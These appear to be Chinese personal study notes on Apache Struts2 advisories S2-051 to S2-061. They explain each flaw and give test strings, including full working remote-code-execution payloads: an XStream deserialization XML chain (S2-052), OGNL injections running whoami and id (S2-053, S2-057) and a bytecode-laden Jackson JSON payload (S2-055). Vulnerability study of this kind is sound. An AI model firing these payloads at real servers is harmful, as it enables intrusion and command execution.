本文是在自己入门漏洞研究的同时编写这些笔记。
个人整理,如有错误,请联系更改。 – taamr微步社区的文章也是我发的,并不是我抄的,看id就能知道了。并且只提供POC,不提供EXP,谢谢
S2-051
漏洞原理:
REST插件使用了过时的XStream库,该库允许使用特殊构建的XML负载的恶意请求执行DoS攻击。
漏洞类型:
拒绝服务攻击。
漏洞手测:
无。
S2-052
漏洞原理:
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改<文件名>.xhtml为<文件名>.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据,远程执行任意代码。
简单来说,struts2 REST插件的XStream组件存在反序列化漏洞,且在默认情况下可以引入任意对象。抓包修改文件扩展名为xml或者Content-Type头为application/xml,XStream就会解析body中的xml。
漏洞类型:
远程命令执行漏洞。供应链攻击。可利用性:7分。
漏洞手测:
Xml payload(格式自己作调整):
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>你要执行的命令</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
S2-053
漏洞原理:
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成了一个OGNL表达式,被OGNL解析第二次,导致任意命令执行漏洞。
在Freemarker标记中使用表达式文字或强制表达式(请参见下面的示例)并使用请求值时,可能会导致RCE攻击。
<@s.hidden name="redirectUri" value=redirectUri />
<@s.hidden name="redirectUri" value="${redirectUri}" />
<@s.hidden name="${redirectUri}"/>
在这两种情况下,value属性中都使用了可写属性,并且在这两种情况下,Freemarker会将其作为表达式进行威胁。请注意,使用Struts表达式求值样式是安全的:
<@s.hidden name="redirectUri" value="%{redirectUri}" />
<@s.hidden name="%{redirectUri}"/>
简单来说,struts2的freemarker模板标签获取内容时会将用户输入解析成OGNL表达式,再由OGNL解析第二次,导致RCE。
漏洞类型:
远程命令执行漏洞。供应链攻击。可利用性:7分。
漏洞手测:
poc:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
S2-054
漏洞原理:
ApacheStruts REST插件使用了过时的JSON-lib库,攻击者可以通过构造特制的JSON恶意请求造成DOS攻击。
漏洞类型:
拒绝服务攻击。
漏洞手测:
无。
S2-055
漏洞原理:
Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞,漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知,其实这里是远程代码执行。从官方的描述来看,这个就是Jackson的反序列化漏洞,由于Jackson在处理反序列的时候需要支持多态,所以在反序列的时候通过指定特定的类来达到实现多态的目的。这个特性默认是不开启的,所以在Struts2中影响也是有限。
这个漏洞和S2-052非常类似,都是引用的第三方库存在缺陷导致的漏洞,这样的案例数不胜数,在Java生态中简直就是一个灾难,第三方依赖实在太多。
抓包修改content-type为application/json在body中添加payload即可利用漏洞
简单来说,REST插件中使用的Jackson版本过低,在进行反序列化时未作任何过滤,导致远程代码执行。但是jackson处理反序列化的时候需要支持多态,这个特性默认不开启。所以影响较小。
漏洞类型:
远程命令执行漏洞。供应链攻击,配置不当,未作过滤。可利用性:6分。
漏洞手测:
序列化payload工具:https://github.com/Nazicc/S2-055
生成payload后,抓包修改content-type为application/json在body中添加payload。
Whoami payload:
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADQAXwoAFwAtCgAuAC8IADAKAC4AMQcAMgcAMwoANAA1CgAGADYKAAUANwcAOAoACgAtCgAFADkKAAoAOggAOwoACgA8CQA9AD4KAD8AQAgAQQcAQgoAEwBDBwBECgAVAC0HAEUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcARAcAMgcARgcARwcAOAcAQgEACkV4Y2VwdGlvbnMHAEgBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQATRXhwbG9pdENvbW1hbmQuamF2YQwAGAAZBwBKDABLAEwBAAZ3aG9hbWkMAE0ATgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBGDABPAFAMABgAUQwAGABSAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAFMAVAwAVQBWAQABCgwAVwBUBwBYDABZAFoHAFsMAFwAXQEAHApbKl0gUGF5bG9hZCBGdWNrIFRvbWNhdCEhISEBABNqYXZhL2lvL0lPRXhjZXB0aW9uDABeABkBABZleHBsb2l0L0V4cGxvaXRDb21tYW5kAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEWphdmEvbGFuZy9Qcm9jZXNzAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQAVABcAAAAAAAQAAQAYABkAAgAaAAAA7wAFAAUAAABuKrcAAQFMuAACEgO2AARNuwAFWbsABlkstgAHtwAItwAJTAFOuwAKWbcACzoEK7YADFlOxgAqGQS7AApZtwALLbYADRIOtgANtgAPtgANV7IAEBkEtgAPtgARp//TsgAQEhK2ABGnAAhMK7YAFLEAAQAEAGUAaAATAAIAGwAAADoADgAAAA0ABAAQAAYAEgAPABMAIgAVACQAFgAtABcANgAYAE8AGQBdABsAZQAeAGgAHABpAB0AbQAfABwAAAAnAAT/AC0ABQcAHQcAHgcAHwcAIAcAIQAAL/8ACgABBwAdAAEHACIEACMAAAAEAAEAJAAJACUAJgACABoAAAAlAAIAAgAAAAm7ABVZtwAWTLEAAAABABsAAAAKAAIAAAAiAAgAIwAjAAAABAABACQAAQAnACgAAgAaAAAAGQAAAAMAAAABsQAAAAEAGwAAAAYAAQAAACgAIwAAAAQAAQApAAEAJwAqAAIAGgAAABkAAAAEAAAAAbEAAAABABsAAAAGAAEAAAAuACMAAAAEAAEAKQABACsAAAACACw="],"transletName":"p","outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}]}
S2-056
漏洞原理:
Apache Struts2的REST插件,当使用XStream组件对XML格式的数据包进行反序列化操作,且未对数据内容进行有效验证时,攻击者可通过提交恶意XML数据对应用进行远程DoS攻击。
漏洞类型:
拒绝服务攻击。
漏洞手测:
无。
S2-057
漏洞原理:
定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。alwaysSelectFullNamespace操作元素没有设置命名空间属性,或者使用通配符。命名空间将由用户从url传递,并被解析为OGNL表达式,最终导致远程代码执行漏洞。
简单来说,网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去。
漏洞类型:
远程命令执行漏洞。配置不当,未作过滤。可利用性:8分。
漏洞手测:
POC :
url添加 /${7*7}/someAction.action
返回页面url 变为 /49/someAction.action
即存在漏洞
RCE payload:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
S2-058
漏洞原理:
S2-057安全公告中对影响版本的通知出错,此漏洞会影响S2-057公告中指出的更多的版本,所以重新指出S2-057影响版本。修复时也应该用S2-057中提到的版本对应的更高版本来修复S2-057。
漏洞类型:
无。
漏洞手测:
无。
S2-059
漏洞原理:
ApacheStruts框架在强制执行时,会对分配给特定标记属性(如id)的属性值执行双重求值,因此可以传入一个值,该值将在呈现标记属性时再次求值。对于精心编制的请求,这可能导致远程代码执行(RCE)。只有当在Struts标记属性内强制进行OGNL求值时,当要求值的表达式引用原始的、未验证的输入时,该问题才适用,攻击者可以通过构造相应的请求直接修改这些输入。Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。此次漏洞需要开启altSyntax功能,只能是在标签id属性中存在表达式,并且参数还可以控制,这种场景在实际开发中非常少见,危害较小。
简单来说,与S2-029,S2-036类似。
漏洞类型:
远程命令执行漏洞。逻辑错误。可利用性:6分。
漏洞手测:
id=%{4*4}
S2-060
漏洞原理:
在上传文件时,攻击者可以通过一个特别的请求造成访问权限的错误,从而导致上传操作失败,造成拒绝服务攻击。当使用getter对文件上传执行一个暴露文件的操作时,攻击者可能会构造特定请求,从而将上传文件的工作目录设置为只读。因此,对该文件的后续操作将失败并出现错误。还可以将Servlet容器的temp目录设置为只读,这样后续的上载操作就会失败,对业务造成影响。
漏洞类型:
拒绝服务攻击。
漏洞手测:
https://blog.csdn.net/weixin_39922642/article/details/111655706
S2-061
漏洞原理:
如果开发人员使用%{…}语法应用强制OGNL求值,则标记的某些属性可能会执行双重求值。对不受信任的用户输入使用强制OGNL评估可能会导致远程代码执行和安全性降低。类似S2-029,S2-036,S2-059。
漏洞类型:
远程命令执行漏洞。逻辑错误。可利用性:6分。
漏洞手测:
id=%{4*4} (url编码)